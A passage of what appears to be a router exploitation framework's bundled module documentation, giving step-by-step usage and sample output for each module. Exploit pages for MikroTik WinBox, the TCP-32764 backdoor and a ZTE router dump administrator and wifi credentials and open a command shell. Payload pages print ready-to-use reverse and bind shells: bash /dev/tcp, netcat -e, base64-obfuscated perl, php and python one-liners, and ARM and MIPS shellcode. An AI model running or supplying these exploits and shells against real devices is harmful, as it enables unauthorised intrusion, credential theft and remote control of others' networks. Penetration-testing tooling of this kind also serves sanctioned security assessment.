MIPSBE architecture.\n   reverse_tcp     MIPSBE Reverse TCP     Creates interactive tcp reverse shell for MIPSBE architecture.\n\ncmd > set payload reverse_tcp\ncmd (MIPSBE Reverse TCP) > show options\n\nPayload Options:\n\n   Name      Current settings     Description\n   ----      ----------------     -----------\n   lhost                          Connect-back IP address\n   lport     5555                 Connect-back TCP Port\n\n\ncmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4\nlhost => 192.168.1.4\ncmd (MIPSBE Reverse TCP) > run\n[*] Using wget method\n[*] Using wget to download binary\n[*] Executing payload on the device\n[*] Waiting for reverse shell...\n[*] Connection from 192.168.1.1:41933\n[+] Enjoy your shell\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.md",
    "content": "## Description\n\nModule bypass authentication through WinBox service in Mikrotik devices version from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) and retrieves administrative credentials.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If device is vulnerable administrative credentials are returned.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure\nrsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > run\n[*] Running module...\n[*] Connection established\n[+] Target seems to be vulnerable\n[*] Dumping credentials\n\n   Username     Password\n   --------     --------\n   user1        test\n   admin        admin\n   admin        admin\n\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/multi/tcp_32764_info_disclosure.md",
    "content": "## Description\n\nModule exploits backdoor functionality that allows fetching credentials for administrator user. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/multi/tcp_32764_info_disclosure`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If device is vulnerable administrative credentials are returned.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/multi/tcp_32764_info_disclosure\nrsf (TCP-32764 Info Disclosure) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (TCP-32764 Info Disclosure) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Connection established\n\n   Parameter          Value\n   ---------          -----\n   http_username      admin\n   http_password      admin\n   pppoe_username     username\n   pppoe_password     1234567890\n   pppoa_username     Guest\n   log_login          0\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/multi/tcp_32764_rce.md",
    "content": "## Description\n\nModule exploits backdoor functionality that allows executing commands on operating system level. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/multi/tcp_32764_rce`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If device is vulnerable it is possible to execute commands on operating system level.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/multi/tcp_32764_rce\nrsf (TCP-32764 RCE) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (TCP-32764 RCE) > run\n[*] Running module...\n[+] Target is vulnerable\n[*] Invoking command loop...\n\n[+] Welcome to cmd. Commands are sent to the target via the execute method.\n[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.\n\ncmd > echo test\n[*] Executing 'echo test' on the device...\n[*] Connection established\ntest\ncmd >\n```\n"
  },
  {
    "path": "docs/modules/exploits/routers/zte/zxhn_h108n_wifi_password_disclosure.md",
    "content": "## Description\n\nModule exploits wifi password disclosure vulnerability that allows to retrieve password for wifi connection. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If device is vulnerable ssid and wifi password is retrieved.\n\n## Scenarios\n\n```\nrsf > use exploits/routers/zte/zxhn_h108n_wifi_password_disclosure\nrsf (ZTE ZXHN H108N Wifi Password Disclosure) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (ZTE ZXHN H108N Wifi Password Disclosure) > run\n[*] Running module exploits/routers/zte/zxhn_h108n_wifi_password_disclosure...\n[+] Target is vulnerable\n[*] Discovered information:\n\n   Parameter     Value\n   ---------     -----\n   SSID Name     SSID Name\n   Password      Password\n\n```\n"
  },
  {
    "path": "docs/modules/generic/upnp/ssdp_msearch.md",
    "content": "## Description\n\nModule sends M-SEARCH request to target and retrieve information from UPnP enabled systems.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use generic/upnp/ssdp_msearch`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If target supports UPnP information are retrieved.\n\n## Scenarios\n\n```\nrsf > use generic/upnp/ssdp_msearch\nrsf (SSDP M-SEARCH Info Discovery) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (SSDP M-SEARCH Info Discovery) > run\n[*] Running module...\n[*] 192.168.1.1:1900 | Custom/1.0 UPnP/1.0 Proc/Ver | http://192.168.1.1:5431/dyndev/uuid:ec2280e5-e804-04e8-e580-22ec22e50400 | uuid:ec2280e5-e804-04e8-e580-22ec22e50400::upnp:rootdevice\n```\n"
  },
  {
    "path": "docs/modules/payloads/armle/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell for ARMLE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/armle/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates armle bind shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/armle/bind_tcp\nrsf (ARMLE Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (ARMLE Bind TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x02\\x00\\xa0\\xe3\\x01\\x10\\xa0\\xe3\\x06\\x20\\xa0\\xe3\\x07\\x00\\x2d\"\n    \"\\xe9\\x01\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x0c\\xd0\"\n    \"\\x8d\\xe2\\x00\\x60\\xa0\\xe1\\xe1\\x10\\xa0\\xe3\\x10\\x70\\xa0\\xe3\\x01\"\n    \"\\x1c\\xa0\\xe1\\x07\\x18\\x81\\xe0\\x02\\x10\\x81\\xe2\\x02\\x20\\x42\\xe0\"\n    \"\\x06\\x00\\x2d\\xe9\\x0d\\x10\\xa0\\xe1\\x10\\x20\\xa0\\xe3\\x07\\x00\\x2d\"\n    \"\\xe9\\x02\\x00\\xa0\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x14\\xd0\"\n    \"\\x8d\\xe2\\x06\\x00\\xa0\\xe1\\x03\\x00\\x2d\\xe9\\x04\\x00\\xa0\\xe3\\x0d\"\n    \"\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x08\\xd0\\x8d\\xe2\\x06\\x00\\xa0\\xe1\"\n    \"\\x01\\x10\\x41\\xe0\\x02\\x20\\x42\\xe0\\x07\\x00\\x2d\\xe9\\x05\\x00\\xa0\"\n    \"\\xe3\\x0d\\x10\\xa0\\xe1\\x66\\x00\\x90\\xef\\x0c\\xd0\\x8d\\xe2\\x00\\x60\"\n    \"\\xa0\\xe1\\x02\\x10\\xa0\\xe3\\x06\\x00\\xa0\\xe1\\x3f\\x00\\x90\\xef\\x01\"\n    \"\\x10\\x51\\xe2\\xfb\\xff\\xff\\x5a\\x04\\x10\\x4d\\xe2\\x02\\x20\\x42\\xe0\"\n    \"\\x2f\\x30\\xa0\\xe3\\x62\\x70\\xa0\\xe3\\x07\\x34\\x83\\xe0\\x69\\x70\\xa0\"\n    \"\\xe3\\x07\\x38\\x83\\xe0\\x6e\\x70\\xa0\\xe3\\x07\\x3c\\x83\\xe0\\x2f\\x40\"\n    \"\\xa0\\xe3\\x73\\x70\\xa0\\xe3\\x07\\x44\\x84\\xe0\\x68\\x70\\xa0\\xe3\\x07\"\n    \"\\x48\\x84\\xe0\\x73\\x50\\xa0\\xe3\\x68\\x70\\xa0\\xe3\\x07\\x54\\x85\\xe0\"\n    \"\\x3e\\x00\\x2d\\xe9\\x08\\x00\\x8d\\xe2\\x00\\x10\\x8d\\xe2\\x04\\x20\\x8d\"\n    \"\\xe2\\x0b\\x00\\x90\\xef\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/armle/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell for ARMLE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/armle/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Module generates armle reverse shell tcp payload\n\n## Scenarios\n\n```\nrsf >\nrsf > use payloads/armle/reverse_tcp\nrsf (ARMLE Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (ARMLE Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (ARMLE Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x01\\x10\\x8f\\xe2\\x11\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\x0f\"\n    \"\\x02\\x19\\x37\\x01\\xdf\\x06\\x1c\\x08\\xa1\\x10\\x22\\x02\\x37\\x01\\xdf\"\n    \"\\x3f\\x27\\x02\\x21\\x30\\x1c\\x01\\xdf\\x01\\x39\\xfb\\xd5\\x05\\xa0\\x92\"\n    \"\\x1a\\x05\\xb4\\x69\\x46\\x0b\\x27\\x01\\xdf\\xc0\\x46\\x02\\x00\\x10\\xe1\"\n    \"\\xc0\\xa8\\x01\\x04\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/awk_bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using awk one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/awk_bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates awk tcp bind shell payload.\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/awk_bind_tcp\nrsf (Awk Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (Awk Bind TCP) > run\n[*] Running module...\n[*] Generating payload\nawk 'BEGIN{s=\"/inet/tcp/4321/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/awk_bind_udp.md",
    "content": "## Description\n\nModule generates payload that creates interactive udp bind shell by using awk. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/awk_bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates awk udp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/awk_bind_udp\nrsf (Awk Bind UDP) > set rport 4321\n[+] rport => 4321\nrsf (Awk Bind UDP) > run\n[*] Running module...\n[*] Generating payload\nawk 'BEGIN{s=\"/inet/udp/4321/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/awk_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using awk one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/awk_reverse_tcp`\n  3. Do: `set lhost 192.168.1.3`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates awk tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/awk_reverse_tcp\nrsf (Awk Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Awk Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (Awk Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\nawk 'BEGIN{s=\"/inet/tcp/0/192.168.1.4/4321\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/bash_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using bash one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/bash_reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates bash tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/bash_reverse_tcp\nrsf (Bash Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Bash Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (Bash Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\nbash -i >& /dev/tcp/192.168.1.4/4321 0>&1\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/netcat_bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using netcat one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/netcat_bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates netcat tcp bind shell payload.\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/netcat_bind_tcp\nrsf (Netcat Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (Netcat Bind TCP) > run\n[*] Running module...\n[*] Generating payload\nnc -lvp 4321 -e /bin/sh\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/netcat_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using netcat one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/netcat_reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates netcat tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/netcat_reverse_tcp\nrsf (Netcat Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Netcat Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (Netcat Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\nnc 192.168.1.4 4321 -e /bin/sh\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/perl_bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using perl one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/perl_bind_udp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates perl tcp bind shell payload.\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/perl_bind_tcp\nrsf (Perl Bind TCP One-Liner) > set rport 4321\n[+] rport => 4321\nrsf (Perl Bind TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\nperl -MIO -e \"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/perl_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using perl one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/perl_reverse_tcp`\n  3. Do: `set lhost 192.168.1.3`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates perl tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/perl_reverse_tcp\nrsf (Perl Reverse TCP One-Liner) > set lhost 192.168.1.3\n[+] lhost => 192.168.1.3\nrsf (Perl Reverse TCP One-Liner) > set lport 4321\n[+] lport => 4321\nrsf (Perl Reverse TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\nperl -MIO -e \"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/php_bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using php one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/php_bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates php tcp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/php_bind_tcp\nrsf (PHP Bind TCP One-Liner) > set rport 4321\n[+] rport => 4321\nrsf (PHP Bind TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\nphp -r \"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/php_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using php one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/php_reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates php tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/php_reverse_tcp\nrsf (PHP Reverse TCP One-Liner) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (PHP Reverse TCP One-Liner) > set lport 4321\n[+] lport => 4321\nrsf (PHP Reverse TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\nphp -r \"eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/python_bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using python one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/python_bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates python tcp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/python_bind_tcp\nrsf (Python Reverse TCP One-Liner) > set rport 4321\n[+] rport => 4321\nrsf (Python Reverse TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\npython -c \"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/python_bind_udp.md",
    "content": "## Description\n\nModule generates payload that creates interactive udp bind shell by using python one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/python_bind_udp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates python udp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/python_bind_udp\nrsf (Python Bind UDP One-Liner) > set rport 4321\n[+] rport => 4321\nrsf (Python Bind UDP One-Liner) > run\n[*] Running module...\n[*] Generating payload\npython -c \"exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/python_reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using python one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/python_reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates python udp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/python_reverse_tcp\nrsf (Python Reverse TCP One-Liner) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Python Reverse TCP One-Liner) > set lport 4321\n[+] lport => 4321\nrsf (Python Reverse TCP One-Liner) > run\n[*] Running module...\n[*] Generating payload\npython -c \"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/cmd/python_reverse_udp.md",
    "content": "## Description\n\nModule generates payload that creates interactive udp reverse shell by using python one-liner. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/cmd/python_reverse_udp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Do: `run`\n  6. Module generates python udp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/cmd/python_reverse_udp\nrsf (Python Reverse UDP One-Liner) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Python Reverse UDP One-Liner) > set lport 4321\n[+] lport => 4321\nrsf (Python Reverse UDP One-Liner) > run\n[*] Running module...\n[*] Generating payload\npython -c \"exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))\"\n```\n"
  },
  {
    "path": "docs/modules/payloads/mipsbe/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell for MIPSBE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/mipsbe/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates mipsbe bind shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/mipsbe/bind_tcp\nrsf (MIPSBE Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (MIPSBE Bind TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x27\\xbd\\xff\\xe0\\x24\\x0e\\xff\\xfd\\x01\\xc0\\x20\\x27\\x01\\xc0\\x28\"\n    \"\\x27\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x57\\x01\\x01\\x01\\x0c\\x30\\x50\"\n    \"\\xff\\xff\\x24\\x0e\\xff\\xef\\x01\\xc0\\x70\\x27\\x24\\x0d\\xff\\xfd\\x01\"\n    \"\\xa0\\x68\\x27\\x01\\xcd\\x68\\x04\\x24\\x0e\\x10\\xe1\\x01\\xae\\x68\\x25\"\n    \"\\xaf\\xad\\xff\\xe0\\xaf\\xa0\\xff\\xe4\\xaf\\xa0\\xff\\xe8\\xaf\\xa0\\xff\"\n    \"\\xec\\x02\\x10\\x20\\x25\\x24\\x0e\\xff\\xef\\x01\\xc0\\x30\\x27\\x23\\xa5\"\n    \"\\xff\\xe0\\x24\\x02\\x10\\x49\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\\x24\"\n    \"\\x05\\x01\\x01\\x24\\x02\\x10\\x4e\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\"\n    \"\\x28\\x05\\xff\\xff\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x48\\x01\\x01\\x01\"\n    \"\\x0c\\xaf\\xa2\\xff\\xff\\x24\\x11\\xff\\xfd\\x02\\x20\\x88\\x27\\x8f\\xa4\"\n    \"\\xff\\xff\\x02\\x20\\x28\\x21\\x24\\x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x24\"\n    \"\\x10\\xff\\xff\\x22\\x31\\xff\\xff\\x16\\x30\\xff\\xfa\\x28\\x06\\xff\\xff\"\n    \"\\x3c\\x0f\\x2f\\x2f\\x35\\xef\\x62\\x69\\xaf\\xaf\\xff\\xec\\x3c\\x0e\\x6e\"\n    \"\\x2f\\x35\\xce\\x73\\x68\\xaf\\xae\\xff\\xf0\\xaf\\xa0\\xff\\xf4\\x27\\xa4\"\n    \"\\xff\\xec\\xaf\\xa4\\xff\\xf8\\xaf\\xa0\\xff\\xfc\\x27\\xa5\\xff\\xf8\\x24\"\n    \"\\x02\\x0f\\xab\\x01\\x01\\x01\\x0c\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/mipsbe/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell for MIPSBE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/mipsbe/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Module generates mipsbe reverse shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/mipsbe/reverse_tcp\nrsf (MIPSBE Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (MIPSBE Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (MIPSBE Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x28\\x04\\xff\\xff\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x28\\x04\\x11\"\n    \"\\x11\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\\x80\"\n    \"\\x20\\x27\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\"\n    \"\\x80\\x20\\x27\\x01\\x80\\x28\\x27\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x57\"\n    \"\\x01\\x09\\x09\\x0c\\x30\\x44\\xff\\xff\\x24\\x02\\x0f\\xc9\\x01\\x09\\x09\"\n    \"\\x0c\\x24\\x02\\x0f\\xc9\\x01\\x09\\x09\\x0c\\x3c\\x05\\x00\\x02\\x34\\xa5\"\n    \"\\x10\\xe1\\xaf\\xa5\\xff\\xf8\\x3c\\x05\\xc0\\xa8\\x34\\xa5\\x01\\x04\\xaf\"\n    \"\\xa5\\xff\\xfc\\x23\\xa5\\xff\\xf8\\x24\\x0c\\xff\\xef\\x01\\x80\\x30\\x27\"\n    \"\\x24\\x02\\x10\\x4a\\x01\\x09\\x09\\x0c\\x3c\\x08\\x2f\\x2f\\x35\\x08\\x62\"\n    